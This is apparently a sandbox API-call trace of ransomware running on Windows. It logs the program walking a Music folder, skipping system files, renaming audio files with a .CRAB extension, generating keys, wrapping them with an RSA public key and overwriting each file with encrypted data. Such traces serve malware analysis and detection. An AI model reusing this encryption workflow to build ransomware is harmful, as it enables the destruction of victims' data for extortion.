	[0131.009] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0131.012] CloseHandle (hObject=0x3ec) returned 1
	[0131.012] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.012] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\") returned 61
	[0131.012] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\*"
	[0131.012] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x320fa90
	[0131.012] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0131.012] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.012] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0131.012] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0131.012] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.012] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0131.012] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0131.013] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\CRAB-DECRYPT.txt"
	[0131.013] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.013] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\CRAB-DECRYPT.txt") returned 77
	[0131.013] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\CRAB-DECRYPT.txt") returned 77
	[0131.013] lstrlenW (lpString=".txt") returned 4
	[0131.013] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.013] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0131.013] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.013] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\CRAB-DECRYPT.txt") returned 77
	[0131.013] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\CRAB-DECRYPT.txt") returned 77
	[0131.013] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0131.013] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0131.013] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0131.014] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0131.014] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0131.014] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0131.014] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0131.014] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0131.014] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0131.014] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.014] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.014] lstrcmpW (lpString1="J2BAHx-heR.mp3", lpString2=".") returned 1
	[0131.014] lstrcmpW (lpString1="J2BAHx-heR.mp3", lpString2="..") returned 1
	[0131.014] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\", lpString2="J2BAHx-heR.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3"
	[0131.014] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.014] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3") returned 75
	[0131.014] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3") returned 75
	[0131.014] lstrlenW (lpString=".mp3") returned 4
	[0131.014] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.014] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0131.015] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.015] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3") returned 75
	[0131.015] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3") returned 75
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="desktop.ini") returned 1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="autorun.inf") returned 1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="ntuser.dat") returned -1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="iconcache.db") returned 1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="bootsect.bak") returned 1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="boot.ini") returned 1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="ntuser.dat.log") returned -1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="thumbs.db") returned -1
	[0131.015] lstrcmpiW (lpString1="J2BAHx-heR.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.015] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.015] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB") returned 80
	[0131.015] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\j2bahx-her.mp3")) returned 0x20
	[0131.015] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3", dwFileAttributes=0x20) returned 1
	[0131.016] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\j2bahx-her.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\j2bahx-her.mp3.crab")) returned 1
	[0131.017] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.017] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB"
	[0131.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB.CRAB"
	[0131.017] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0131.029] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.030] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.030] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.030] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0131.030] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0131.030] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.030] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6eb78) returned 1
	[0131.033] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.033] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.033] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.033] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0131.033] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.033] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.033] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.034] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.034] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0131.036] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320fad0) returned 1
	[0131.037] CryptGetKeyParam (in: hKey=0x320fad0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.037] CryptEncrypt (in: hKey=0x320fad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0131.037] GetLastError () returned 0x0
	[0131.037] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.037] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6eb78) returned 1
	[0131.040] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e090) returned 1
	[0131.040] CryptGetKeyParam (in: hKey=0x320e090, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.040] CryptEncrypt (in: hKey=0x320e090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0131.040] GetLastError () returned 0x0
	[0131.040] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0131.040] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\J2BAHx-heR.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\j2bahx-her.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0131.040] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.041] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0131.041] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x4e6b, lpOverlapped=0x0) returned 1
	[0131.053] VirtualAlloc (lpAddress=0x0, dwSize=0x4e70, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.053] VirtualAlloc (lpAddress=0x0, dwSize=0x4e70, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.054] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.054] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffffb195, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.054] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0x4e70, lpOverlapped=0x0) returned 1
	[0131.054] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.055] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.058] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.059] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0131.059] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0131.059] CloseHandle (hObject=0x3f0) returned 1
	[0131.059] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.059] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.059] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.060] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.060] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.060] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.060] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0131.060] lstrcmpW (lpString1="NxzCZA.wav", lpString2=".") returned 1
	[0131.060] lstrcmpW (lpString1="NxzCZA.wav", lpString2="..") returned 1
	[0131.060] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\", lpString2="NxzCZA.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav"
	[0131.060] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.061] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav") returned 71
	[0131.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav") returned 71
	[0131.061] lstrlenW (lpString=".wav") returned 4
	[0131.061] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.061] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0131.061] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav") returned 71
	[0131.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav") returned 71
	[0131.061] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="desktop.ini") returned 1
	[0131.061] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="autorun.inf") returned 1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="ntuser.dat") returned 1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="iconcache.db") returned 1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="bootsect.bak") returned 1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="boot.ini") returned 1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="ntuser.dat.log") returned 1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="thumbs.db") returned -1
	[0131.062] lstrcmpiW (lpString1="NxzCZA.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.062] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.062] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB") returned 76
	[0131.062] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\nxzcza.wav")) returned 0x20
	[0131.062] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav", dwFileAttributes=0x20) returned 1
	[0131.063] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\nxzcza.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\nxzcza.wav.crab")) returned 1
	[0131.063] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0131.064] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB"
	[0131.064] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB.CRAB"
	[0131.064] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e5a0) returned 1
	[0131.066] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.067] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.067] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.067] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0131.067] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0131.067] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.067] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0131.070] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0131.070] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0131.070] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0131.070] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0131.070] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.070] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.071] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0131.071] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0131.071] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0131.074] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320de50) returned 1
	[0131.074] CryptGetKeyParam (in: hKey=0x320de50, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.074] CryptEncrypt (in: hKey=0x320de50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0131.075] GetLastError () returned 0x0
	[0131.075] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0131.075] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0131.077] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e110) returned 1
	[0131.077] CryptGetKeyParam (in: hKey=0x320e110, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0131.077] CryptEncrypt (in: hKey=0x320e110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0131.078] GetLastError () returned 0x0
	[0131.078] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0131.078] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\uSZcy00OxWQqA65CuGl_\\5YcYY8n0GHi\\NxzCZA.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\uszcy00oxwqqa65cugl_\\5ycyy8n0ghi\\nxzcza.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0131.078] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0131.079] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
